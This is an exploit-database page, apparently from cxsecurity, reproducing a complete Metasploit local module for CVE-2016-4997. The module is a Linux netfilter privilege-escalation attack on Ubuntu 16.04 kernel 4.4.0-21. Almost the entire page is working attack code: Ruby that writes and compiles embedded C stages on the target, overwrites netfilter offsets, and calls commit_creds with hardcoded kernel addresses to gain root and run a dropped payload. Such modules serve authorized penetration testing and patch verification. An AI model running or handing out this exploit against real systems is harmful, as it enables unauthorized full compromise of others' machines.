Linux Kernel 4.6.3 Netfilter Privilege Escalation

2016.09.27
Credit: vnik
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', 'Description' => %q{ This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@stcyrsecurity.com>', # Module 'vnik' # Discovery ], 'DisclosureDate' => 'Jun 03 2016', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Ubuntu', { } ] #[ 'Fedora', { } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'EDB', '40049'], [ 'CVE', '2016-4997'], [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def iptables_loaded?() # user@ubuntu:~$ cat /proc/modules | grep ip_tables # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000 # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000 vprint_status('Checking if ip_tables is loaded in kernel') if target.name == "Ubuntu" iptables = cmd_exec('cat /proc/modules | grep ip_tables') if iptables.include?('ip_tables') vprint_good('ip_tables.ko is loaded') else print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('ip_tables') elsif target.name == "Fedora" iptables = cmd_exec('cat /proc/modules | grep iptable_raw') if iptables.include?('iptable_raw') vprint_good('iptable_raw is loaded') else print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('iptable_raw') else return false end end def shemsham_installed?() # we want this to be false. vprint_status('Checking if shem or sham are installed') shemsham = cmd_exec('cat /proc/cpuinfo') if shemsham.include?('shem') print_error('shem installed, system not vulnerable.') elsif shemsham.include?('sham') print_error('sham installed, system not vulnerable.') else vprint_good('shem and sham not present.') end return (shemsham.include?('shem') or shemsham.include?('sham')) end if iptables_loaded?() and not shemsham_installed?() return CheckCode::Appears else return CheckCode::Safe end end def exploit # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. def has_prereqs?() vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') if target.name == "Ubuntu" lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') if lib.include?('install') vprint_good('libc6-dev-i386 is installed') else print_error('libc6-dev-i386 is not installed. Compiling will fail.') end multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') if multilib.include?('install') vprint_good('gcc-multilib is installed') else print_error('gcc-multilib is not installed. Compiling will fail.') end gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') elsif target.name == "Fedora" lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') if lib.include?('glibc') vprint_good('glibc-devel.i686 is installed') else print_error('glibc-devel.i686 is not installed. Compiling will fail.') end if lib.include?('libgcc') vprint_good('libgcc.i686 is installed') else print_error('libgcc.i686 is not installed. Compiling will fail.') end multilib = false #not implemented gcc = false #not implemented return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib else return false end end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) payload_file = rand_text_alpha(8) payload_path = "#{datastore["WritableDir"]}/#{payload_file}" # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here # removed #include <netinet/in.h> per busterb comment in PR 7326 decr = %q{ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <netinet/in.h> #include <linux/sched.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ptrace.h> #include <net/if.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netlink.h> #include <fcntl.h> #include <sys/mman.h> #define MALLOC_SIZE 66*1024 int decr(void *p) { int sock, optlen; int ret; void *data; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_entry_match *ematch; struct xt_standard_target *target; unsigned i; sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } data = malloc(MALLOC_SIZE); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, MALLOC_SIZE); repl = (struct ipt_replace *) data; repl->num_entries = 1; repl->num_counters = 1; repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; repl->valid_hooks = 0; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); entry->target_offset = 74; // overwrite target_offset entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); strcpy(ematch->u.user.name, "icmp"); void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); uint64_t *me = (uint64_t *)(kmatch + 0x58); *me = 0xffffffff821de10d; // magic number! uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); *match = (uint32_t)kmatch; ematch->u.match_size = (short)0xffff; target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); uint32_t *t = (uint32_t *)target; *t = (uint32_t)kmatch; printf("[!] Decrementing the refcount. This may take a while...\n"); printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); for (i = 0; i < 0xffffff/2+1; i++) { ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); } close(sock); free(data); printf("[+] Done! Now run ./pwn\n"); return 0; } int main(void) { void *stack; int ret; printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(decr, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; } } # direct copy of code from exploit-db pwn = %q{ #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <sys/mman.h> #include <assert.h> #define MMAP_ADDR 0xff814e3000 #define MMAP_OFFSET 0xb0 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); void __attribute__((regparm(3))) privesc() { commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; commit_creds(prepare_kernel_cred((uint64_t)NULL)); } int main() { void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); assert(payload == (void *)MMAP_ADDR); void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); memset(shellcode, 0, 0x300000); void *ret = memcpy(shellcode, &privesc, 0x300); assert(ret == shellcode); printf("[+] Escalating privs...\n"); int fd = open("/dev/ptmx", O_RDWR); close(fd); assert(!getuid()); printf("[+] We've got root!"); return execl("/bin/bash", "-sh", NULL); } } # the original code printed a line. However, this is hard to detect due to threading. # so instead we can write a file in /tmp to catch. decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/, "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" ) # patch in to run our payload pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, "execl(\"#{payload_path}\", NULL);") def pwn(payload_path, pwn_file, pwn, compile) # lets write our payload since everythings set for priv esc vprint_status("Writing payload to #{payload_path}") write_file(payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path) # now lets drop part 2, and finish up. rm_f pwn_file if compile print_status "Writing pwn executable to #{pwn_file}.c" rm_f "#{pwn_file}.c" write_file("#{pwn_file}.c", pwn) cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") register_file_for_cleanup("#{pwn_file}.c") else print_status "Writing pwn executable to #{pwn_file}" write_file(pwn_file, pwn) end register_file_for_cleanup(pwn_file) cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") end if not compile # we need to override with our pre-created binary # pwn file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out') fd = ::File.open( path, "rb") pwn = fd.read(fd.stat.size) fd.close # desc file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out') fd = ::File.open( path, "rb") decr = fd.read(fd.stat.size) fd.close # overwrite the hardcoded variable names in the compiled versions env_ready_file = '/tmp/okDjTFSS' payload_path = '/tmp/2016_4997_payload' end # check for shortcut if datastore['REEXPLOIT'] pwn(payload_path, pwn_file, pwn, compile) else rm_f desc_file if compile print_status "Writing desc executable to #{desc_file}.c" rm_f "#{desc_file}.c" write_file("#{desc_file}.c", decr) register_file_for_cleanup("#{desc_file}.c") output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}") else write_file(desc_file, decr) end rm_f env_ready_file register_file_for_cleanup(env_ready_file) #register_file_for_cleanup(desc_file) if not file_exist?(desc_file) vprint_error("gcc failure output: #{output}") fail_with(Failure::Unknown, "#{desc_file}.c failed to compile") end if target.name == "Ubuntu" vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created." elsif target.name == "Fedora" vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created." end cmd_exec("chmod +x #{desc_file}; #{desc_file}") sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) if sec_waited % 10 == 0 vprint_status("Waited #{sec_waited}s so far") end if file_exist?(env_ready_file) print_good("desc finished, env ready.") pwn(payload_path, pwn_file, pwn, compile) return end sec_waited +=1 end end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top